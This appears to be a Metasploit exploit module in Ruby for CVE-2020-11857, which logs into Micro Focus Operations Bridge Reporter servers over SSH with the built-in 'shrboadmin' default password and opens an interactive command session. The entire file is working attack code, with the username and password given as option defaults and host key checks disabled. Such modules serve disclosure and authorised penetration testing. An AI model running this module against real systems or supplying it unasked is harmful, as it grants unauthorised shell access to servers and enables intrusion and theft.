Micro Focus Operations Bridge Reporter shrboadmin Default Password Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password',
        'Description' => %q{
          This module abuses a known default password on Micro Focus Operations Bridge Reporter.
          The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin',
          and allows an attacker to login to the server via SSH.
          This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier
          versions are most likely affected too.
          Note that this is only exploitable in Linux installations.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2020-11857' ],
            [ 'ZDI', '20-1215' ],
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ],
            [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ],
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread'
          },
        'Payload' =>
          {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' =>
          [
            [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
          ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-09-21'
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: pass,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the server...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end